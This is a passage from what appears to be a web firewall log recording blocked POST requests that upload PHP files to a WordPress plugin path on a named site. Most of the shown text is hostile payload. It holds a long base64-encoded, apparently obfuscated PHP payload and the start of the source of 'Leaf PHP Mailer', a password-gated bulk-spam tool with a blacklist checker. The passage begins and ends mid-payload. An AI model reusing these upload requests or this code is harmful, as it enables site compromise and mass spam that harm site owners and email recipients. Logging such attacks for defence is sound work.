Dl1N1hVUHk0M3dzTGQrR0o3dG5WOFV6elpQaStmK2VjbCtmQ3BkN3hWR1I4SGNlVzNpblYyekJxdnIxdk9TMndoMlMvdGV1OWJvbnBidCtVT1B3M0ZQTGs3M0R3dG5aemZ1c2J1NnZsL2JoVDBLd3BpN3ZCa3Q5VkxMcUxaZktIUFVKWnlIRjl2MlkzQ3lBZjJvRHA4dXF2ZXI3dEY0cVdlUEwrNnIvdm1sZGIrMjNscGNxKzJOVDdkdk9tczd1KzNSK3NYV29IQnlESFVMaDVjM3cvbFM0KzROOVI5UHk0MHhyMTg3Vzd1NFB6OC9MRjV4Zk5ZUTMvdXozYVh1NlFuL3UxRGJXQ3FjK3lkWE4vM0RVdU9ad3g3dmpnNjNtMENibThGV3J6Ry9XMm9Vb0kzUjZkV05WM3dXZjd2VXo3bnRxODdKZW5XaEN1M3RYcDI2VUNjNDNhNHVQdTFVZytyT3pmMFc0QVQ5YjI0OVgxNDI3OC9YVHRmM2h0M1NGZS9mb0hUOWVIaDFMUHZLeDZmcU51eXQ5ZDIyZjJjLzducjIxdTc2WHJlN2ZkTWU3YlRhOTdXclVkaTkyTm05T0xsdnU0M0gwNnZyRnVBMDdGNFNqTzQyaDFHNEtGbDNTNlh6Tm94N0Vmb1Q3bDdCdU5CNGp3K3ZtbytiNHlxUE9KY1FRNVhhM3RvWXBNNUJiMVNURWNGTjhqV1FCMmVrVVRFcUtGaHlpWk5zL2FiWHFkMDhMMjAzN3RiV3ErMVZRWjc3eS8xMkc5aHY3dEp5bDl5cVg3aThLUnhlT2M5YW1UR1E1LzVtRzU1WHpYdnQvZE9VOTZPMDk0VWRlSzVYc2Z1alZiY3h2dGhwZG5mcEhmL1hKNVlKdTVmWHZiWDE1dDFGcnpGY0twMjRiWmVUdWJ1V0tBc3NOQnFkN1FYM3JuMS9lbm5OV1lQWDgrekM0YzVlYitueVpxRmJzdHNqSU91aHQ5dStkL2ZhZkxnNTZlMzJTZm02dUx2VGZPNnNWOE9UM28wUHY3dnp2Y2JqNGZhZXYrcmVCS28vRzlWZ3RYaHl2bFE4TzErNlB6OVp1Nmk5eExKcm5mVm1sN1BOVG5WcEZXaXUwUVZack5UczJaME80VXlzc1EzbHhPOURiNSt6eVZJWGNkNGZJdjZLTnJXOTVxNnNYN09RdGZ3REQxaHN4Mm9YTnFxRjNYSmpsRllQcHZsUnQzQzF2YlVKN2RSZzgzRFo2TnlVcnJETUVNWmNIK2ZScUhiZ3o1VWFnNHZMNjJnODd3RG1UalUrSlhhcU1OV2JZeEJMVVR1OW0vYUoxNGpvQnRPclVDUjhnL1hxZUd2YkFyN2J2OFBmTUU3UWI1aG1sOWNEL2plSXBMa05DL0Y1UE9FMGFYYm50NC9iNTlzM1JSQ0wwRGJ3VGZ2WW41ZTBMZTgvZDh2MjRtcnQ1djVpcDNFM2YybmRBUTRmMjczOVI1aUtNUDZ4dWppVmtpcFdoY1E2MjNXM0xxWHBQN05jQUJsYnVGb25KbDF2QnAycm05MzdOaExoN0dpcGNOSVdjbHE4QS9tMmRYWndzVms3TzEydmRrK3ZnUG0yblM1MmFBc1lkOVdsT2tnVVdHL2FTdmF0cXpxOGZQZUV0K2ZPM1o4ZEg5N3ZmcXhHTXIzTjVmWGwraTRTdUVyd2VuTjN3TEFYRjhlbm14ZG5hMjZqdTFadVNIeU81Z3RuR3pmcngrN0lQZHVkK0g2MmQ5L2R0a0hXM1hTQllMMExHTXoyZXJVSERPaUdQZnZ4WnJzS2NyTkJ1S09NRk8zQ1JBdjQ5OHRqWHI5ZHEvclhseGIvZGo4K0R6bmVtM3VGdGF1YnU4UExhMW5uQ2VSczJOMjJ5Z0hIdldHZmV2WWpUR0pZWDVyUDNlMEcwcVZ6ZUY5dGEydkM4MmpNMXlnUVFGWTRXUStla3JhYURMK3ZYUjV0RmE1cVFMRzErZk5hV05nNmFOd1VUMnRibTdzQXkycnRScE0rUE5qYXU0ZSt1MXdnMWc3QzZ0YnA1dGI1NmRuRnhXa05KdmpaazF6TGlsY0hzT1pnK1FMUWp3c1htS3pQQ2lleEZxM1ZiZ3BibHpmalE2RGQvT1gxeGk3d1FiUVc3SG1yNWV0Q0U5YUg0aVV3b25jdDFyeG10N205ZndqdDFtQ01XN3k5N200b0orb2EvSTN0MGhwaHA2MFhTMnZqbzJCelk2L1FSWDRiTzlEV1FYdTBVZVhyMTlybVhodkdoL05VUXJndmpUYlB0anFGODN2L3hUVW4wcmdxanR2emg3RDE0dHYxVk1jUFdvc1lLVXRTaDhYSVJUTHlKUG1ueEIzZTZGYzg0RW55akU2NWtIWDU5WHhVcmFmNG1LMnY4RTFMNHF2SjQ3ZWtlZ2dabUxNcVBEZFd6TS9sY3JFY3VlSDEvV0JxK0RxakFwK1BLUlRNOUV3VjhsVFU1SGtsd2hlZ1VlSUpHWkF2U2tvQmV6RWhxbVpBVksxUkZIaEp4dFJJellpMkhsZUVtdGJmY0ZKTWhDZlJ3NGtFTFU4UEpDTGErNnZITUhoeERDZS92bWtNUTdwcVBvM096YjQvQ3ZGaStpK005dVRvZE1KUE1ETmcrelRBVTkzQWdIbnlsaUZDSEdPQnRCTkQ5cXNETkMxR000L0RMK0w0b3llazNCelNjc2RvV212cTRaS21CdHpGMU1SMXBiWUYxZmpPeEZVN0UwMDFXeFZ3N3RjUDJvV3o0L2I5dWgwV3VpQ1J5emVnQXV5TmlxVnJWQnNpRlN1Qzc2MXVYSG1ydGVOMjRjSnFyQ1ZoeW5JbmUyM1Evc2RQeFYwT244cnVrY1FkN3c2VDc5dnhkcVM2RW9UanZXQUFLazhIVnNpbkhxcU14OEZnNDJEcEh0VFdKVkJsOUw0QVRZTFZTS1VNVjNmMjd6cnJONTJMbnAwc056OXlxd3Nuc0ZvMnkvYnoxdmE1T3hwZisrZmJ6V0MzM0V5V0hlTzM2b1pkaEpVc3JnYkR5blNncTgvYUdLeHVRTnZ1d2VoaVp3TEgwV2dkNnUyb2xYanBJQUZYWDVXMThTNkN1djZNZElCeENaNjJ0YmJPRHViV05xcGgxZHNOZkZEaFV0US9uOWRkQjVXdGQ2M2hIMXVSL1ZGUHFhbWszaGJ0SWFuaXBJWldvNjBCck9aWFQyRzM2ZTJDZW5zUHV6cmdtV2ZZVVJZNnFDYXZOOGRMMjNZTFZ2RG5lZmR0S3E0Rys2bXdYaDN1WGpVTE9HNzNZN3ZUMXRWOHJ2N0cxWHJVQmdELzFzMzVpZHA5cmdGL0h1ekV4dU1KZDNyRnk1dk9hVVM3TVdoZXdWSTNiV3VpeWpUWG5nK1F6NFZxTFBHd1lPejNuMGxGbG1WaGhYYzVUUjc4TjZyUzFVc3JQQVZONjJrRE5OUExabmpZQXpYZUZkOUFSWWJ0VlpyNmZJODhNSC9aVFB2bXdkODQ1dTlVdXpWdGdnd2xqTXdteWdORGlLa0pWNGlIaGEyaFo3Q3d0cmVxekw1TVA4cEgxeUdxWldiNXlTVG1xcWwzdTNSWllGckpoTVZldUVFbll2NkxZOHFEbStIdzFHQ0VpYlRhdWM3T1d0OWdaMHZiMjUzSVpBOUs0S1BCNkJGNWl5aFA5bHh4Sm9zN2oxbThLQXR5ZnBibmNodXhYSWJmMGRCY1lJM2ZNTmpXWmlZNzZEdGRTN3E4azh1Sk9oZXJIQzF0bmNNK2Y2KzJYeDFIN1FWNGplMFJIVitHelpXWlJsUEdVZUszTTdxTndlUVZsc3B3MHk3aXVkMWRkeTh5Zjdia2lZdFJvUllZdGFkdVVNU1ByZkhhT3dGZ0JFN1oxdkN3TVArZFhOSDB5NnY4VkNSbzZaY1FLOTNQOXZEWllLMkhvN0s2dkw2d1ZKZ3o4aG1nUk5Pek9zK1lFU0NqeGNoM0Z0YTJ4aGo0ZkdsQkhaUmtQTmZxQmp6N0loVFFraTVteUhqWGdiZk8rYUVEcXlCL3lHcmRoM0FXNmJZc0UxOFlQRHM4RUlwbmZwWDVPRU4zWXhJZzRjeW9COEw3bmNmcW4yc3R6UU5WNktHRzZYMGpSTDFqMUZmZEdVQW5xcGFwNHJxNDE3WU10am9mWE94RUk0WkhXM1hvWTVTdW9ra0tGV0ZSYVY3NkowOEdvOG9TVTdwT3BKSVRac25EWVgyZ2FtWDRoMHpzOWhFVUh5NjYvbjFhY2NwdE9GRytQNjM4YVhyNXhkWmdtRmFjcDBXY0tJM0pFOU94MTlNcVpyUnJSaFBKTXNWZG93b1JsUkd4cHRLVyswdmdsYzNFTzgvRldIcUpsNWlhTGpZd1F2c1hPTHJQUi9zamc5RkQyYmhsaGs5MGc5UE0xMTlSbXBuS2paMnM0SG9nVGM0Z3U4MU43eHc2Y2ZENTRGUnQyYUliQktJejZUZFhNakkwU3VXNWYrZ0JteEd3aUJUYzAxUm1MUUd0ZEwyeElXNms4KzVVRjU1ZGtKUGowdEZ1RktSTkNra1pqT3BuRk1XS2FSR3l2cHZmdi9FcG9zSlp0Y0xaNW0veE1GcnBoV1F3TFJFYXkvMzRVWWJHU2k4ZkQ1Q2xCOGtLWFMxSVZockNVYUQzTUI3RWkzWFJhWStyKytXQWZ6Vnk4ZzhZdG00V3hpYnhENjgyVU5WS3dTVFFpQlZFb2VKa0ljQzdteDlrQjJFYTZzbjJmcVlpSWRtRG8wNTRwK0E3V2J6RWk1ZmVXcnpJaXhkZktmN3pCMlc1b3dWODJaRDVobWE1STFPaldRK1hmeE5KakFRenA4SVRwR2xsUXkyaytRUnF3aTFzUW42S1BEVE5wdldWcnZaZ3V4T3g4c1h5cldMWWE0bTFWRm9vTFRBKyttQ0RQT29iTGQvb080MGVxQjFPQitZZTkwTVdVV2dGc3h1bTVwVE9DOFRRMDBMdmVyN2FzOHRpTC90cnB4RktYRnhrT1dRdW9KZ1d0ZTgxdXdDQzFObVJnNUk3MHFzcnY5U0UxZXFoTi8rY2ZxVFJyTjkwamtCYzhVZmtzNWZsTVVtNWxKeWFIa21xRnNYVGhTZlFsanJIL1NzOXlyZEtkL1o2RjFwSmNXZ0dYbFhFWDZYTnR6S0NrS0ZBWHIzZEYybjhrbllCVFVxb2RCREVzNVJ4YTFtZjhxcEU1aGJob29EUDNDN0g1cnVaeUxxbDNTaEVQM0tuUlpRaVQ1YU1PVWFCOGM5SHQ4OGRXYmIrYVd3Y3JzS2tPdDJzbmNPSDNEOXhWZnFua1RlL2d2NzJUOVNyLzVrZFdEYmVtOTQ4M2R5NTVHa2haNEdSeGozajRPaDB5eWdhWit1Yis1dTFUSGJjZDRZUFNyVXhlWm5ZTlFUOVJQYXhWM3E2TjlqaWhkZUszRmJpYVExTHNiaU1XdlpEa2I0TWpUT1NtUWIyK1JWc0dhcjEzc0JWcW5uN2VQNmtpczZVbzU1eWtJUFpDN1hQUUJQdkVxcDRQYlpmRDJFbGdFV3EyM3dZaHFETzhZZHUwOVJTeHhJQU5iZ0xDd3QvTTJUbSt4SVBOazJKNzJXdzZVUWFSNGx4cTcyNkJhdm9tcnNtSTBJQXhpZUYxZ0VvTVBiVnpaVThtNWlaaVIzQlZ6YlhyK3Erd1JxbHhUTmxtQzJValU5QVpjLzhCbkxqUTdick9qYnZWNXZIRExqb2pUSGo0UEhhWFhOTGRXcmliSi91TUdoMnpMSzZaSm04dy9vM0F5QWZHN2tRdW1samlHVFY5SStzbkFWcGJnS0NabkxSLzVtTHI0a2lmbjJ5VnVZVzFxOGZrZGhmam9RKzFFcEdxaVM2c0hELytrSlMwT1NNYVNhOWhTdlBheGZPdHNHSW9PcHlNTjRpWW9QMjc5aHRIdDNVNExGTlA4YW9SWmQvOGhsekdyNW1TbzdZYUdLS2tmbVNnTW1UQlZ4c3VhQm5CdWZuYS9JWXQ4Z3ZzbXBEOVVmOFo4Slp1MEo5WnhlN2c2UEh0STBieDUzUFhROTNIN2wvWk04T3o0L1d4VHcyOVhsY0lUelk2WEg3VVFXSi8wbm8vOENsU3BLZG1Jc1JxOG1wRmtrZnpMZzV4THMwaEJRalBrOU1NQW1yZkxEcjdSbU1Ic3BEdEZET0k3V0IxZitSZEVveGpiUHFRWFhmK0dmS2NKai9wSzcrUTNadjBodGIrbFZPQWIxWjI5bzZ3bmFwa2JRMlhtMkNTOE4yTUZVYTBvUm5OUGd4Vm54MCtzZXdwK3orSHJIaXpGL0ppa1ZqSllVTGFid1p6WkRKdlVkOEpvbk5SYjljM0ZnMTJNUFYwemlTbmFZekdOck8wK1lMQ3l5M3NldFpBR1Erd2EwQ2JPSWVMNHZYVjlyS3JWUUVuaDM0SlUyQVp6ZHVnTURtVnBVVlNnc1VYVGVUR3NMVFVYdmhHU2JaWUhnVlhRVXhSV1owWGxhMHEyNHJpbEJxa3drSys0MVMxNU5YRXBNTkNRZ3I3cWN2YU9OZmNiL0VTdVh3Slk5b1E4QmxzSTJKcUcwOHRFd1VzQTJGUXdtZGRIbGR6K1ZYbnVrSkxYS3VvRitBVmxmZUg0MnUzYUVCNjNyekNGZko5bGx4UStsaFVZbktmblhoUGdBdGpCZWo3eVhWUnFWMjFMZ0FIYTA3MXl2S2NQQThKeUlVd1B1VHVLYWUyTTZkd2FpZ0JsOG5jWVhxTXlvcjVBZnZLV3pJMFlkKzU3NjUyVFVZUGFKUjZvZ3g0Y1JCd25kMGtyNUd2QXIxbVZFUDFXVnpqcmNLZDVJUVl3UkJCUFlaaGFYbWdjR0loV1RYaEtJdmUwYU14YmJtOXE4R3FnekdsQlpqRWRkeWlqRU5hRUxua1VBTHB4Y0xNQ2JVdmx3bDFKaFFXNHdLaVRHaE94NXFVRVozeFpzYUFPQ1A1RFg3MzFBbDByWEd1Q2tocnVlbEpIcmhHVlhWcXBzcUxFanRZZVdud2U1T0pDd3dzMWl4TXVpMFhhZkRVcExsRXNoazJvNjNLOWk4L3FTU2pkbzEvL1NhYXEzaXVVU0xGY2tuUnRKS3MxVnJOSm1hd3RXVUt2MkVPVWZZcGljSVM4UWpxakhTSU45czU3czhmbDdFVUZ4Y1RDdVN2NjYvcWh2Q3BqU1VLb09SQ3FlZVZCRXhGM0pBMFZnb1oxenFvR1JVM0FWRitQaXVSOXRxUXJzYkx4MUFZeE9ocTFWUWNkUFRZdXMwT2hjOTBCSnBnNkRVRUJraVFwYWlwWXhSNFdoVkpuWEY5NlN6N2txM2EvWFEwazk2TUdyQjlBclhXVXlWd3dPOXZHRy9Mbk0rQ2JtRmJ6SzN1V0xlakw4MFlWSFhNZ0dxVlYwUGE2T1Zsdm84V2J2RXNYY3FkU2pmdmVnOW03Yk1TWHZUQnhFMDI5U2JlNk5pR1plcG5oUWtVNGp6bXg3Z0RZVTNibFJGazNrZTloUzNjeFJSVCs3bFhwRGF0QjlrTkI5MHMzcHlBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--022b28b0b9967b0dd0c8b6c0d8fdf51d\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--022b28b0b9967b0dd0c8b6c0d8fdf51d\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--022b28b0b9967b0dd0c8b6c0d8fdf51d\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--022b28b0b9967b0dd0c8b6c0d8fdf51d--\r\n"]
["2026-05-26 21:22:27","170.205.30.68","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=fa4d926289c72015766ea7c57817d9ba\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:same-origin\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"qlmmf.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = 